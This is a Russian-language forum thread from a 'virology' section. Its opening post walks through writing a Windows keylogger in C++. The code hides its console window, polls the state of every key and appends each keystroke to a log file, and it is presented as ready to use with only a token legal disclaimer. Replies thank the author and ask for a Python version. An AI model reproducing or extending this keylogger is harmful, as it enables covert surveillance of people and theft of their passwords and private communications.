Загрузка...

Кейлогер на С++

Тема в разделе Вирусология создана пользователем ssdieccusi 21 май 2020. 499 просмотров

Загрузка...
  1. ssdieccusi
    ssdieccusi Автор темы 21 май 2020 Заблокирован(а) 213 29 янв 2020
    Вся представленная информация несёт лишь ознакомительный характер и не призывает Вас к действиям нарушающим закон!
    Кейлогер/кейлоггер- программное обеспечение или аппаратное устройство, регистрирующее различные действия пользователя- нажатия клавиш на клавиатуре компьютера, движения и нажатия клавиш мыши и т. д.

    Начнём!
    Инклудим библиотеки и включаем пространство имен std:

    Код
    #include <iostream>

    #include <Windows.h>

    using namespace std;
    Пишем протип функции для сохранения нажатых клавиш в файл:

    Код
    int save(int _key, char *file);
    Пишем функцию main(), в которой будем получать клавиши, которые нажимает юзер:
    Код
    int main() {
    FreeConsole();
    char i;
    while (true) {
    Sleep(10);
    for (i = 8; i <= 255; i++) {
    if (GetAsyncKeyState(i) == -32767) {
    save(i, "log.txt");
    }
    }
    }
    return 0;
    }
    Далее пишем функцию save(), которой сохраняем клавиши в файл, в зависимости от defino`в в windows.h. Сохранять можно так-же и через потоки ввода-вывода файлов:
    Код
    int save(int _key, char *file) {

    cout << _key << endl;

    Sleep(10);

    FILE *OUTPUT_FILE;

    OUTPUT_FILE = fopen(file, "a+");


    if (_key == VK_SHIFT)
    fprintf(OUTPUT_FILE, "%s", "[SHIFT]");

    else if (_key == VK_BACK)

    fprintf(OUTPUT_FILE, "%s", "[BACK]");

    else if (_key == VK_LBUTTON)

    fprintf(OUTPUT_FILE, "%s", "[LBUTTON]");

    else if (_key == VK_RETURN)

    fprintf(OUTPUT_FILE, "%s", "[RETURN]\n");

    else if (_key == VK_ESCAPE)

    fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");

    else

    fprintf(OUTPUT_FILE, "%s", &_key);

    fclose(OUTPUT_FILE);

    return 0;

    }
    Готово)
    Можете не благодарить)
     
  2. AlexFoxy_inactive3226184
    AlexFoxy_inactive3226184 28 май 2020 Заблокирован(а) 5 29 апр 2020
    Спасибочки:finger_up::BrainCosmic:
     
  3. JakeMorton
    JakeMorton 31 май 2020 Криптокрыса 29 27 янв 2019
    Подскажите нет подобного на питоне?
     
Top